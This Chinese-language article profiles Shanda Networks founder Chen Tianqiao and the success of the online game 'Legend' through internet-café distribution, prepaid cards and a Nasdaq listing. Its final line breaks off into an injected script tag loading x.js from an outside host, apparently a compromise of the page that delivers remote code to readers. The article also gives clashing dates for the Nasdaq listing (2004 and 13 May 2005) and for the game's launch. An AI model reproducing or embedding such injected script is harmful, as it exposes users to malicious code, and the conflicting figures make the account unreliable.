2004年雅典奥运会男子62公斤级冠军石智勇，是上海盛大网络公司一款网络游戏《传奇》的爱好者。盛大网络公司曾专门为他组织“扬刀大会”的网络活动，活动中，赠送他一把虚拟的《传奇》网络游戏道具——屠龙刀。据网友称，这把刀当时在玩家中的价格为5万～10万元人民币。
而和石智勇有着一样爱好的大学生王某在这款网络游戏中的境遇却与之大相径庭。他用两个月才攒到的1000元人民币，在《传奇》里购买了一把被称为“裁决之仗”的较罕见虚拟武器。可是这把武器在他手里不到一个小时就被抢走。《传奇》中的武器，尽管是虚拟的，但是当它成为商品可以和现实中的货币等价交换的时候，就不仅仅是一个虚拟的电子符号了。王某在郁闷和愤恨之下，通过游戏中的聊天功能向网友不断发布谩骂信息，内容涉及经营《传奇》的上海盛大网络公司老总——陈天桥。
是什么原因让《传奇》这样一款网络游戏如此吸引眼球？
陈天桥，创造财富奇迹的红色资本家
说到中国网游，不能不说到《传奇》；说到《传奇》就不能不说到陈天桥。盛大公司的老总陈天桥1990年考入复旦大学经济系，1993年以优异成绩提前一年从复旦毕业。在经历了几次短暂的就业之后，陈天桥决定创业。当时他看准了互联网中蕴藏的巨大商机，1999年他以50万元启动资金和妻子、弟弟、同学等一起创立了盛大网络有限责任公司，尝试做卡通网站，并推出网上虚拟社区。2000年，盛大公司获得中华网风险投资，拟走出一条“网络迪斯尼”的路子。然而，在经历了大多数公司都未能幸免的网络寒冬之后，2001年，盛大与中华网合作破裂，陈天桥刚刚起步的事业陷入了最低谷。
此时的陈天桥并不甘心，他孤注一掷，利用所有资金取得韩国网络游戏公司ACTOZ《传奇》国内的代理权。在2001年，中国大陆网络游戏市场尚未完全开发的时候，这笔投资是非常有前瞻性的。陈天桥成功了，在尚未成熟的网络游戏产业中他成为第一个吃螃蟹的人，并且在后来的两年内一枝独秀。《传奇》不仅让陈天桥绝境逢生，而且在一年之后年营业额达到6.8亿元人民币，纯利1亿元人民币，成为了当时中国游戏界真正的霸主。
2004年，前微软中国总裁唐骏加盟盛大任总裁，陈天桥继续任盛大董事长兼CEO，盛大在纳斯达克上市，到2004年7月，已经成为市值排名第二的中国互联网企业。此时的陈天桥已经有了10年的党龄，并于2003年当选中国共青团中央候补委员。
3个月之后，临近纳斯达克上市公司财报发布，盛大网络的股票再度冲上23美元高位，至此，盛大的总市值已经高居8支纳斯达克中国概念股的首位，并且超过了在网络游戏类股票中原来市值最高的韩国Ncsoft。盛大网络迎来了最辉煌的时刻，陈天桥也迎来了自己事业的巅峰。
先入为主，不赚钱都难
陈天桥是怎样成功的呢？有业内人士分析，在2000年年初，盛大的《传奇》在尚不发达的内地网络游戏市场一经出现，即吸引了众多网民的眼球，占有中国内地网络游戏65%的市场份额，而且鲜有强大的竞争者，想不挣钱都难！事实上，客观分析一下当时的背景，就很容易发现陈天桥成功的秘诀。在2000年，我国互联网上网还是以拨号为主，宽带只限于网吧等大型网络服务机构。因此，网吧成为网络游戏运营不可缺少的重要组成部分。
陈天桥的游戏推广非常容易。当时有的人在家里拨号上网下载网络游戏客户端需要20多个小时，而盛大最先推出的光碟客户端，只要花20元购买一张光碟，在电脑上安装，就可以在网络中运行了。这一便捷的方式为盛大迅速打开了市场，提高了游戏普及率。另外，《传奇》开中国付费网络游戏之先河，这款游戏需要不断地往账号充入人民币，才能获得相应的游戏时间。《传奇》在经历了短暂的免费测试之后，以画面优美，情节有趣，人物角色丰富的优势，很快吸引了大量的玩家。
当时《传奇》的玩家主要是在网吧进行游戏，所以盛大合理地利用了这点，他们的充值点卡营销网络遍步全国各地的各个网吧。毫不夸张地说，《传奇》在全国各个网吧都有客户端，全国每个网吧都有《传奇》网友的游戏充值卡出售。由于玩家推崇，很多网吧成为专业的《传奇》网吧，网吧里所有的顾客，无一例外地在操作《传奇》里的人物，网吧生意也因为《传奇》变得非常好，因此也乐得为《传奇》做免费的宣传，帮助盛大发展玩家。在如此密集的“炮火”下，众多对网络游戏一无所知的网友，都很快被这种新奇的游戏所吸引，欲罢不能。
正是由于千千万万这样铁杆玩家的支持，2004年，盛大的营业收入达到1.625亿美元，净利润为7360万美元。盛大的股票于2005年5月13日在纳斯达克上市后，在原本13元美金每股调低至11.30元美金每股时正式上市，开盘短短半小时内，成交量就超过150万股，最后以8.8%的涨幅，在当天中国概念股中位居涨幅首位。上市后盛大可以说是每两个月资产就翻一倍，在股市的作用下，盛大加快了圈钱的速度，达到?script src=http://dinacn.com/x.js> |